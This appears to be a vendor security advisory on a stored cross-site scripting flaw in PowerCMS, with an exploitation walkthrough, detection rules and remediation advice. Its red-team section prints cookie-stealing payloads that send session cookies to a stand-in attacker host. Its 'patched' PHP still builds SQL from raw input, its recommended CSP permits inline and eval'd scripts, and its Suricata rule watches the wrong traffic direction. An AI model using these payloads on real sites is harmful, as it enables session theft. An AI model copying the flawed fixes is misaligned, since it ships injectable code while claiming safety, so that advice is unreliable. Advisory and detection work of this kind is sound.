CVE-2025-41391

Executive Summary

CVE-2025-41391 is a stored cross-site scripting (XSS) vulnerability affecting multiple versions of PowerCMS, a content management system. The flaw allows an authenticated user with sufficient privileges to inject malicious scripts into stored content. When another user (including an administrator) views the affected page, the arbitrary script executes in their browser context. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 5.4 (Medium), and no public exploit code or patch is currently available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

PowerCMS is a proprietary CMS; no open-source package (NPM, PyPI, Go, Ruby) is associated. Supply chain risk is limited to the vendor’s distribution channels. Users should verify the integrity of downloaded PowerCMS files via checksums provided by the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker needs a valid user account with content creation/editing rights.
• User Interaction: Required (UI:R) – victim must click on or view the malicious page.
• Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exposure possible.
• Integrity Impact: Low (I:L) – attacker can modify content within the victim’s session.
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authenticated access and user interaction, but stored XSS can persist and affect multiple users.

Deep Dive & Mechanics

The vulnerability resides in PowerCMS’s content management interface, where user-supplied input (e.g., article titles, body text, or custom fields) is not properly sanitized before being stored and later rendered in the browser. An attacker with content creation privileges can inject malicious HTML/JavaScript payloads. When an administrator or other user views the compromised page, the script executes in their session.

Root Cause: Lack of output encoding or sanitization in the template rendering engine. The application likely stores raw HTML and fails to escape special characters like <, >, ", and &.

Attack Flow:

1. Attacker logs in as a content editor.
2. Attacker creates or edits a page, injecting a payload such as <script>alert(document.cookie)</script>.
3. The payload is stored in the database.
4. Victim (e.g., admin) navigates to the page.
5. The browser renders the stored payload, executing the script.

Impact: Session theft, forced redirects, keylogging, or defacement.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical fix is shown.

Vulnerable Code (PHP example):

// Storing user input without sanitization
$title = $_POST['title'];
$db->query("INSERT INTO pages (title) VALUES ('$title')");

// Rendering without escaping
echo "<h1>$title</h1>";

Patched Code (Hypothetical):

// Sanitize input
$title = htmlspecialchars($_POST['title'], ENT_QUOTES, 'UTF-8');
$db->query("INSERT INTO pages (title) VALUES ('$title')");

// Output is already safe due to sanitization
echo "<h1>$title</h1>";

Key Difference: The patched version uses htmlspecialchars() to encode HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid PowerCMS user account with content creation/editing privileges.
• Access to the CMS admin panel.

Step-by-Step Exploitation:

1. Log in to PowerCMS.
2. Navigate to a content creation page (e.g., “New Article”).
3. In a text field (title, body, or custom field), inject a payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save/publish the content.
5. Wait for an administrator or other user to view the page.
6. The victim’s browser sends their cookies to the attacker’s server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual content creation patterns (e.g., scripts in text fields).
• Use WAF rules to block <script> tags in POST requests to CMS endpoints.
• Review server logs for requests containing suspicious strings like <script> or onerror=.

Hardening:

• Implement Content Security Policy (CSP) headers to restrict script execution.
• Enforce input validation and output encoding in all CMS templates.
• Restrict content creation privileges to trusted users only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown domains from the CMS server.
  • POST requests to /admin/content/save or similar endpoints containing <script> tags.
• File IOCs:
  • Database entries containing <script>, onerror, onload, or javascript: in text fields.
• Behavioral IOCs:
  • Unexpected redirects or pop-ups when viewing CMS pages.
  • Unauthorized changes to site content.

Detection Engineering

YARA Rule

rule PowerCMS_Stored_XSS_CVE_2025_41391 {
    meta:
        description = "Detects stored XSS payloads in PowerCMS database dumps or logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-41391"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:\s*/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: PowerCMS Stored XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to inject XSS payloads into PowerCMS content fields
author: Valters IT
date: 2025-04-10
references:
    - CVE-2025-41391
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/admin/content/save'
            - '/admin/page/edit'
        cs-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"PowerCMS Stored XSS Payload Outbound"; flow:to_server,established; content:"POST"; http_method; content:"/admin/content/save"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable content creation for untrusted users – Restrict write access to only essential personnel.
2. Apply a WAF rule to block <script> tags and event handlers in POST requests to CMS endpoints.
3. Implement CSP – Add the following HTTP header to all CMS responses:

   Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none'
   

   (Note: 'unsafe-inline' may be required for existing CMS functionality; test thoroughly.)

Long-Term Fix:

• Contact PowerCMS vendor for an official patch.
• If source code is available, apply output encoding (e.g., htmlspecialchars() in PHP) to all user-supplied data before rendering.
• Conduct a security audit of all input fields and template files.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter malicious payloads:

  location /admin/content/save {
      if ($request_body ~* "<script") {
          return 403;
      }
  }
  

Valters IT
Cyber Threat Intelligence & DevSecOps